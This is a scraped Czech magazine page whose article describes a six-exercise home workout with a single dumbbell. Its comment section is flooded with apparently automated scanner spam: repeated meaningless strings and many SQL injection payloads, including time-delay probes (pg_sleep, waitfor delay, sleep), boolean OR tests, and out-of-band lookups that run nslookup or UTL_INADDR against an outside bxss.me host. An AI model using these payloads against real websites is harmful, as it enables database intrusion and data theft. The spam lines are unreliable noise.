reklama
cz / EN / esp

Posilování: cvičte doma, stačit vám bude jedna činka

Nestíháte fitko nebo se před ostatními stydíte? Vyzkoušejte tyto cviky, které zvládnete sami doma s lehkou vahou. Podívejte se na video.

reklama

Cvičit neznamená jen chodit do fitness centra. Někdy k samotnému cvičení stačí jen činka a vlastní tělo. Cvičit tak můžete doma, ale díky teplejšímu počasí i v přírodě či na zahradě.


Tento kondiční trénink jsem pro vás připravil na posílení celého těla v dynamickém tempu. Doporučené časy jednotlivých cvičení si můžete v případě zájmu prodloužit, nebo když už nebudete moct cvičit, můžete jednotlivé úseky i zkrátit.


Budete potřebovat jednoruční činku, prostor aspoň 3x3m a podložku. Chuť se sebou něco dělat je samozřejmostí! :)


Projdeme si postupně jednotlivé cviky. Samotné cviky jsou ve videu napsány anglickými názvy, pro maximální pochopení vám napíšu jednotlivé postupy.

 


Dumbbell Swing
Jde o známý cvik, který se nejčastěji cvičí pomocí kettelbellu. My v našem případě ale použijeme jednoručku. Při zvedání těla vedeme ruce maximálně do úrovně ramen. Záda v předklonu se snažíme mít narovnaná.


Blast off pushups
Jde o variaci kliků s použitím nohou. V první fázi pohybu provádíme klik, při narovnání těla pokrčíme nohy, vystrčíme zadek. Ruce jsou v konečné poloze natažené, hlava je mezi rameny.

foto: v konečné fázi máte narovnané ruce a pokrčené nohy

 


Squat
Toto je známý cvik - dřep. V této verzi dřepu ve spodní poloze ruce předpažíme. Dáváme si pozor na to, aby kolena ve spodní poloze nepřesahovala příliš dopředu.

 


Pistol push-pull
Toto je verze přítahu předklonu s jednou jednoručkou. Snažte se při tomto cviku provádět jednotlivé fáze pohybu švihem, rychlejším pohybem. Jednoručku přitahujeme směrem k břichu, přičemž zapojujeme zádové svalstvo zatažením ramen do zadní polohy. Záda během cviku máme stále narovnaná. Nohy máme v mírném ohybu, jsme v předklonu.

foto: místo klasického přítahu zkuste tuto variantu s jednoručkou

 


Mountain Climber
Jde o náročný cvik, velmi dynamický. Opřenýma rukama o zem přitahujeme kolena směrem k břichu švihovým pohybem. Pohled směřuje na zem, hlava je v prodloužení páteře.

foto: hlavu držte v prodloužení páteře

 


Hollow - body hold
Jde o cvik zaměřený na výdrž, při kterém zapojíme hlavně břišní svalstvo. Hlava je opřena o natažené a spojené ruce. Nohy jsou natažené, vyrovnané, zvednuté nad zemí. Snažíme se během cvičení nehýbat s tělem ani neměnit polohu.

foto: klasický cvik s výdrží


Proveďte všechny cviky v 8 sériích za sebou, mezi jednotlivými cviky je 5 sekund pauzy.

Michael Achberger / 14.04.2016
Související
reklama

Komentáře k článku

Vážení čtenáři, o vaše názory velmi stojíme. Chceme však, aby diskuse měly smysl. Proto vás prosíme, diskutujte slušně a k tématu článku. Příspěvky, které ve slušné a kultivované diskuzi nemají místo, mažeme.

Nový komentár





pdoqipjx 15.05.2018
1acuK0qtSmouPA
pdoqipjx 15.05.2018
1acuK0qtSmouPA
1acui2Evi6Xeii 15.05.2018
1
pdoqipjx 15.05.2018
1acuK0qtSmouPA
pdoqipjx 15.05.2018
1
pdoqipjx 15.05.2018
1acuK0qtSmouPA
fyrnfprp 15.05.2018
1
fyrnfprp 15.05.2018
1
fyrnfprp 15.05.2018
1
fyrnfprp 15.05.2018
1
fyrnfprp 15.05.2018
1
fyrnfprp 15.05.2018
1
fyrnfprp 15.05.2018
1
fyrnfprp 15.05.2018
1
fyrnfprp 15.05.2018
1
fyrnfprp 15.05.2018
1
fyrnfprp 15.05.2018
1
fyrnfprp 15.05.2018
1
fyrnfprp 15.05.2018
1
fyrnfprp 15.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
529' 14.05.2018
1
fyrnfprp';copy (select '') to program 'nslookup dns.sqli.\039481.50-6684.50.c19ba.\1.bxss.me 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6681.50.c19ba.1.bxss'||'.me')||' 14.05.2018
1
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6681.50.c19ba.1.bxss'||'.me')||' 14.05.2018
1
ri1qPwa2'));select pg_sleep(32.53); -- 14.05.2018
1
01Ktj3p3');select pg_sleep(32.53); -- 14.05.2018
1
lJYKr9nx');select pg_sleep(16.265); -- 14.05.2018
1
rQBQ1sWx';select pg_sleep(48.795); -- 14.05.2018
1
w4FTurld'; waitfor delay '0:0:48.795' -- 14.05.2018
1
1 waitfor delay '0:0:48.795' -- 14.05.2018
1
(select(0)from(select(sleep(48.795)))v)/*'+(select(0)from(select(sleep(48.795)))v)+'"+(select(0)from(select(sleep(48.795)))v)+"*/ 14.05.2018
1
if(now()=sysdate(),sleep(48.795),0)/*'XOR(if(now()=sysdate(),sleep(48.795),0))OR'"XOR(if(now()=sysdate(),sleep(48.795),0))OR"*/ 14.05.2018
1
-1" OR 3+550-550-1=0+0+0+1 -- 14.05.2018
1
-1" OR 3*2>(0+5+550-550) -- 14.05.2018
1
-1" OR 3*2<(0+5+550-550) -- 14.05.2018
1
-1" OR 3+550-550-1=0+0+0+1 -- 14.05.2018
1
jvsncrqm 14.05.2018
1
jvsncrqm 14.05.2018
1
jvsncrqm 14.05.2018
1
jvsncrqm 14.05.2018
1
jvsncrqm 14.05.2018
1
jvsncrqm 14.05.2018
1
jvsncrqm 14.05.2018
1
jvsncrqm 14.05.2018
1
jvsncrqm 14.05.2018
1
-1" OR 2+550-550-1=0+0+0+1 -- 14.05.2018
1
-1' OR 3*2>(0+5+474-474) or 'SiJtLgOc'=' 14.05.2018
1
-1' OR 3*2<(0+5+474-474) or 'SiJtLgOc'=' 14.05.2018
1
-1' OR 3+474-474-1=0+0+0+1 or 'SiJtLgOc'=' 14.05.2018
1
-1' OR 2+474-474-1=0+0+0+1 or 'SiJtLgOc'=' 14.05.2018
1
-1' OR 3*2>(0+5+786-786) -- 14.05.2018
1
-1' OR 3*2<(0+5+786-786) -- 14.05.2018
1
-1' OR 3*2<(0+5+786-786) -- 14.05.2018
1
-1' OR 3+786-786-1=0+0+0+1 -- 14.05.2018
1
-1' OR 3+786-786-1=0+0+0+1 -- 14.05.2018
1
-1' OR 2+786-786-1=0+0+0+1 -- 14.05.2018
1
-1 OR 3*2>(0+5+406-406) 14.05.2018
1
-1 OR 3*2<(0+5+406-406) 14.05.2018
1
-1 OR 3+406-406-1=0+0+0+1 14.05.2018
1
-1 OR 2+406-406-1=0+0+0+1 14.05.2018
1
-1 OR 3*2>(0+5+920-920) -- 14.05.2018
1
-1 OR 3*2>(0+5+920-920) -- 14.05.2018
1
-1 OR 3*2<(0+5+920-920) -- 14.05.2018
1
jvsncrqm 14.05.2018
1
jvsncrqm 14.05.2018
1
jvsncrqm 14.05.2018
1
jvsncrqm 14.05.2018
1
jvsncrqm 14.05.2018
1
-1 OR 3*2<(0+5+920-920) -- 14.05.2018
1
jvsncrqm 14.05.2018
1
jvsncrqm 14.05.2018
1
-1 OR 3+920-920-1=0+0+0+1 -- 14.05.2018
1
-1 OR 2+920-920-1=0+0+0+1 -- 14.05.2018
1
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
''"" 14.05.2018
1
''"" 14.05.2018
1
'" 14.05.2018
1
JyI= 14.05.2018
1
JyI= 14.05.2018
1
JyI= 14.05.2018
1
@@zCyN3 14.05.2018
1
1%2527%2522 14.05.2018
1
\ 14.05.2018
1
\ 14.05.2018
1
\ 14.05.2018
1
1'" 14.05.2018
1
jvsncrqm 14.05.2018
1
fyrnfprp 14.05.2018
1;copy (select '') to program 'nslookup dns.sqli.\039481.50-6629.50.c19ba.\1.bxss.me'
fyrnfprp 14.05.2018
246'
fyrnfprp 14.05.2018
1';copy (select '') to program 'nslookup dns.sqli.\039481.50-6636.50.c19ba.\1.bxss.me
fyrnfprp 14.05.2018
1;copy (select '') to program 'nslookup dns.sqli.\039481.50-6629.50.c19ba.\1.bxss.me'
fyrnfprp 14.05.2018
1;copy (select '') to program 'nslookup dns.sqli.\039481.50-6629.50.c19ba.\1.bxss.me'
fyrnfprp 14.05.2018
'||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6628.50.c19ba.1.bxss'||'.me')||'
fyrnfprp 14.05.2018
1||UTL_INADDR.get_host_address('dns.'||'sqli.039481.50-6627.50.c19ba.1.bxss'||'.me')
fyrnfprp 14.05.2018
6vBMUR1I'));select pg_sleep(17.842); --
fyrnfprp 14.05.2018
g4PfzWCK'));select pg_sleep(8.921); --
jvsncrqm 14.05.2018
''""
jvsncrqm 14.05.2018
'"
jvsncrqm 14.05.2018
JyI=
jvsncrqm 14.05.2018
@@7VotH
jvsncrqm 14.05.2018
1%2527%2522
jvsncrqm 14.05.2018
1%2527%2522
fyrnfprp 14.05.2018
2MPtQ3cL');select pg_sleep(0); --
fyrnfprp 14.05.2018
hOgpTEv8');select pg_sleep(8.921); --
jvsncrqm 14.05.2018
1%2527%2522
fyrnfprp 14.05.2018
luBbm8RR';select pg_sleep(0); --
fyrnfprp 14.05.2018
zR6Cd3xR';select pg_sleep(8.921); --
jvsncrqm 14.05.2018
\
fyrnfprp 14.05.2018
-1));select pg_sleep(26.762999999999998); --
jvsncrqm 14.05.2018
1'"
fyrnfprp 14.05.2018
-1);select pg_sleep(26.762999999999998); --
jvsncrqm 14.05.2018
1
fyrnfprp 14.05.2018
-1;select pg_sleep(26.762999999999998); --
jvsncrqm 14.05.2018
1
fyrnfprp 14.05.2018
oCfmxq7k'; waitfor delay '0:0:26.762999999999998' --
fyrnfprp 14.05.2018
1 waitfor delay '0:0:26.762999999999998' --
jvsncrqm 14.05.2018
1
fyrnfprp 14.05.2018
-1); waitfor delay '0:0:26.762999999999998' --
jvsncrqm 14.05.2018
1
fyrnfprp 14.05.2018
(select(0)from(select(sleep(17.842)))v)/*'+(select(0)from(select(sleep(17.842)))v)+'"+(select(0)from(select(sleep(17.842)))v)+"*/
fyrnfprp 14.05.2018
if(now()=sysdate(),sleep(26.762999999999998),0)/*'XOR(if(now()=sysdate(),sleep(26.762999999999998),0))OR'"XOR(if(now()=sysdate(),sleep(26.762999999999998),0))OR"*/
fyrnfprp 14.05.2018
if(now()=sysdate(),sleep(8.921),0)/*'XOR(if(now()=sysdate(),sleep(8.921),0))OR'"XOR(if(now()=sysdate(),sleep(8.921),0))OR"*/
fyrnfprp 14.05.2018
-1" OR 3*2>(0+5+892-892) --
fyrnfprp 14.05.2018
-1" OR 3*2<(0+5+892-892) --
fyrnfprp 14.05.2018
-1" OR 3*2<(0+5+892-892) --
fyrnfprp 14.05.2018
-1" OR 3*2<(0+5+892-892) --
fyrnfprp 14.05.2018
-1" OR 3+892-892-1=0+0+0+1 --
fyrnfprp 14.05.2018
-1" OR 2+892-892-1=0+0+0+1 --
fyrnfprp 14.05.2018
-1' OR 3*2>(0+5+836-836) or 'CHoeP731'='
fyrnfprp 14.05.2018
-1' OR 3*2>(0+5+836-836) or 'CHoeP731'='
fyrnfprp 14.05.2018
-1' OR 3*2>(0+5+836-836) or 'CHoeP731'='
fyrnfprp 14.05.2018
-1' OR 3*2>(0+5+836-836) or 'CHoeP731'='
fyrnfprp 14.05.2018
-1' OR 3+836-836-1=0+0+0+1 or 'CHoeP731'='
fyrnfprp 14.05.2018
-1' OR 3*2<(0+5+836-836) or 'CHoeP731'='
fyrnfprp 14.05.2018
-1' OR 3+836-836-1=0+0+0+1 or 'CHoeP731'='
fyrnfprp 14.05.2018
-1' OR 2+836-836-1=0+0+0+1 or 'CHoeP731'='
fyrnfprp 14.05.2018
-1' OR 3*2>(0+5+175-175) --
fyrnfprp 14.05.2018
-1' OR 3*2>(0+5+175-175) --
fyrnfprp 14.05.2018
-1' OR 3*2>(0+5+175-175) --
fyrnfprp 14.05.2018
-1' OR 3*2>(0+5+175-175) --
fyrnfprp 14.05.2018
-1' OR 3*2<(0+5+175-175) --
fyrnfprp 14.05.2018
-1' OR 3+175-175-1=0+0+0+1 --
fyrnfprp 14.05.2018
-1' OR 2+175-175-1=0+0+0+1 --
fyrnfprp 14.05.2018
-1 OR 3*2>(0+5+807-807)
fyrnfprp 14.05.2018
-1 OR 3*2<(0+5+807-807)
fyrnfprp 14.05.2018
-1 OR 3+807-807-1=0+0+0+1
fyrnfprp 14.05.2018
-1 OR 3+421-421-1=0+0+0+1 --
fyrnfprp 14.05.2018
-1 OR 2+807-807-1=0+0+0+1
fyrnfprp 14.05.2018
-1 OR 3*2>(0+5+421-421) --
fyrnfprp 14.05.2018
-1 OR 3*2<(0+5+421-421) --
fyrnfprp 14.05.2018
-1 OR 3+421-421-1=0+0+0+1 --
fyrnfprp 14.05.2018
-1 OR 2+421-421-1=0+0+0+1 --
fyrnfprp 14.05.2018
-1 OR 2+421-421-1=0+0+0+1 --
fyrnfprp 14.05.2018
-1 OR 2+421-421-1=0+0+0+1 --
fyrnfprp 14.05.2018
1
fyrnfprp 14.05.2018
1
lblohoad 13.05.2018
1
reklama

reklama

reklama


Najdete na FreshGayMag